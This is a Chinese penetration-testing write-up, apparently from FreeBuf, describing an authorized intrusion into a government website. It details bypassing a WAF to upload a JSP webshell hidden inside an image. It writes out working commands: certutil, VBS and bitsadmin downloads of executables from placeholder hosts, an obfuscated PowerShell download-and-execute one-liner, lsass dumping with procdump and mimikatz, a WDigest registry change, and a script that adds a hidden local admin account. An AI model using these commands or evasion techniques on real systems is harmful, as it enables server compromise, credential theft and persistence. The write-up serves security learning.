前言

很久没有整理实战文章了,恰好这周项目上有一个目标折腾了两天时间,记录分享下其中的心路历程(本次渗透过程均在目标授权下进行,请勿进行非法渗透行为)。 「文中涉及外链请阅读原文查看」

目标基本信息

某政务网站

服务器--windows

数据库--未知

中间件--Tomcat

开发语言--java

未使用 CDN

存在 waf--种类未知

Getshell 过程

其它漏洞的挖掘过程不再描述,直奔权限,发现目标存在一处上传功能。

一次授权渗透实战

上传成功后返回取件码。

一次授权渗透实战

使用取件码进行信件查询。

一次授权渗透实战

点击附件为下载链接。

一次授权渗透实战

通过对下载链接进行测试,发现报错时泄漏了网站的绝对路径。

一次授权渗透实战

进过几次尝试,成功访问到上传的图片。

一次授权渗透实战

网站 waf 对上传文件的后缀名进行了白名单限制。

根据以往的 bypass 经验,开始手撕 waf。

后缀名校验绕过

寻找 waf 的设计缺陷来绕过 waf 的上传限制,

常用的几种方法有:

删除实体里面的 Conten-Type 字段

删除 Content-Disposition 字段里的空格

修改 Content-Disposition 字段值的大小写

文件名处回车

等等等等。

总结一下思路就是在不影响正常上传功能的前提下,尝试改变数据包的部分格式内容,绕过 waf 的校验。

经过多次尝试,当 Content-Disposition 字段修改为 Content+Disposition 时可以绕过 waf,可以看到上传功能的代码未对后缀名做限制,存在任意文件上传漏洞。

一次授权渗透实战

内容校验绕过

成功对文件后缀名进行了绕过。

直接上传免杀还可以的冰蝎马。

一次授权渗透实战

上传失败,再次被 waf 拦截,发现还存在文件内容校验,尝试使用平时积累的免杀马。

经过尝试免杀马全部阵亡,无一例外。

当使用 java 的输出函数时也会被 waf 检测拦截。

一次授权渗透实战

第一次碰到连输出 helloword 都拦的 waf。

经过多次测试,waf 对绝大部分的 java 函数都进行了拦截。

内容加密

这种情况下,首先想到的解决方案是对木马进行加密。

在网上查找相关的资料,发现了 LandGrey 大佬的一个 unicode 编码的菜刀马。传送门

可以上传成功。

一次授权渗透实战

必须要使用 caidao-20160622 的版本进行连接(默认分隔符 : X@Y),然而。

一次授权渗透实战

菜刀流量被 waf 拦截了。

想到了 2 种解决方案。

1、使用内容加密的大马,例如下图的 php 大马的这种加解密。

一次授权渗透实战

2、菜刀马流量中转,上传中转菜刀马,配合本地加解密脚本文件,对数据进行中转加密传输。

中转 Webshell 绕过安全狗(一)

中转 Webshell 绕过安全狗(二)

奈何网上关于 jsp 加密大马和 jsp 中转木马研究的文章数量有限,再加上本人不懂 java 开发,最后以失败告终。

在这个学习尝试的过程看到了不少大佬优秀的文章,学习到了很多相关知识。如:

菜刀 HTTP 流量中转代理过 WAF

CaidaoMitmProxy:基于 HTTP 代理中转菜刀过 WAF

感兴趣的小伙伴可以研究下。

内容混淆

内容加密 bypass 失败了,只能换一个思路。

尝试对文件内容进行混淆,绕过 waf。

首先想到的是图片马,尝试把木马隐藏到图片源码中,绕过 waf。

在这个过程中也踩了一些坑,有些图片源码包含特殊字符会和木马的代码发生冲突,因此需要特殊处理过的图片才能保证正常解析。

使用 notepad++打开准备好的图片,把 jsp 马插入到图片源码中。

一次授权渗透实战

更改为 jsp 后缀进行上传。

一次授权渗透实战

上传失败,猜测可能是混淆的力度不够,未起到混淆的目的。

开始增加文件内容的长度,复制图片的一段源码,反复的粘贴到木马的前后位置,经过若干次尝试,返回了上传成功,且只能成功一次,下

次上传需要重新混淆,难道 waf 还自带了机器学习?

一次授权渗透实战

访问 webshell 地址,文件解析成功,成功拿下了目标的 webshell,权限为最高的 administrator 权限。

一次授权渗透实战

上传的为 CMD 马,只能执行系统命令,目标通互联网,下一步的思路是:使用命令直接下载 cs 马或者 msf 马执行。

使用命令下载免杀 exe 到本地执行。

cmd 下常用的下载命令有三种,推荐使用证书下载命令,免杀性强,其它两种容易被防护拦截。

证书下载
``` *

    certutil.exe -urlcache -split -f http://x.x.x.x/1.exe D:/1.exe

vbs 下载 
```      * 

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs cscript downfile.vbs http://x.x.x.x/1.exe D:\1.ex

bitsadmin 命令下载
``` *

    bitsadmin /transfer n http://x.x.x.x/1.exe    D:\\1.exe

在可以调用 powershell 的情况下,推荐使用 powershell 对木马文件进行下载执行,优点是免杀可操作性强,无落地文件。

这里给出我之前发布的免杀 powershell 命令
```      * 

powershell.exe "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://x.x.x.x''))';$a3="$a1,$a2";IEX(-join $a3)"

免杀处理的方法有很多,可以参考我之前发布的文章中。攻防演练对抗赛之初识文件钓鱼

也可以关注我们 Tide 安全团队的公众号,查看免杀系列文章。

上传后成功执行,cs 成功接收到会话信息。

一次授权渗透实战

尝试激活 guest 用户,加入管理员组失败。

一次授权渗透实战

存在服务器防护需要绕过。

服务器为 server 2008,默认情况下,可以使用 Procdump+Mimikatz 来读取管理员的明文密码。

Procdump 由微软官方提供,绝大多数情况下不会被杀。

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

分为 2 步:

1、导出 lsass.exe 进程
``` *

    procdump64.exe -accepteula -ma lsass.exe lsass.dmp

2、使用 mimikatz 破解导出的文件 lsass.dmp
```      * 

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

需要上传 procdump64.exe 生成 lsass.dmp 文件,下载后本地读取密码。

对于 server 2012 以上,或者打了补丁的操作系统,无法直接读取明文,必须修改注册表,重启服务器等待管理员登录才能获取到明文密码。

    reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

    还可以选择执行 powershell 命令添加用户。  

使用 Get-ExecutionPolicy 查看当前执行策略为 Restricted (默认策略,不允许任意脚本的执行)

使用 Set-ExecutionPolicy 设置执行的策略为 RemoteSigned (本地脚本无限制,但是对来自网络的脚本必须经过签名)

相关 powershell 命令可查看 CSeroad 大佬的文章。

一次授权渗透实战

powershell 的免杀性强,大多数情况下都可以执行成功。

上传添加用户的 ps1 文件到服务器中,调用 powershell 执行,此方法可以绕过大部分杀软,达到免杀加用户到管理员组的目的。
``` *

    powershell 1.ps1

```      *   *   *   *   *   *   *   *   *   *   *   *   *   *   * 

$computer=Get-WMIObject Win32_ComputerSystem$computername = $computer.name$username = 'admin'$password = '1234qwer..'$desc = 'Local admin account'$computer = [ADSI]"WinNT://$computername,computer"$user = $computer.Create("user", $username)$user.SetPassword($password)$user.Setinfo()$user.description = $desc$user.setinfo()$user.UserFlags = 65536$user.SetInfo()$group = ADSI$group.add("WinNT://$username,user")

添加用户成功后。

使用 cs 自带的 socks4 隧道。

一次授权渗透实战

本机配置 Proxifer。

一次授权渗透实战

成功把本机带入目标内网。

打开远程桌面功能,输入对方的内网 ip 和远程桌面端口,输入用户名密码。

登录成功,目标安装了服务器安全狗和企业版金山毒霸,到此渗透结束。

一次授权渗透实战

总结

由于不懂 java 开发,导致前期的 getshell 耽误了过长时间,未解决的问题,后面还需要再学习。

渗透过程中走了很多弯路,但也学习到了很多新的知识。

*本文原创作者: 诺言,本文属于 FreeBuf 原创奖励计划,未经许可禁止转载

一次授权渗透实战

精彩推荐

一次授权渗透实战

一次授权渗透实战

一次授权渗透实战

一次授权渗透实战

  **![一次授权渗透实战](https://img.chainnews.com/material/images/e16db5a32641bf26ae9d8ef9520d81a6.jpg)**

来源链接:mp.weixin.qq.com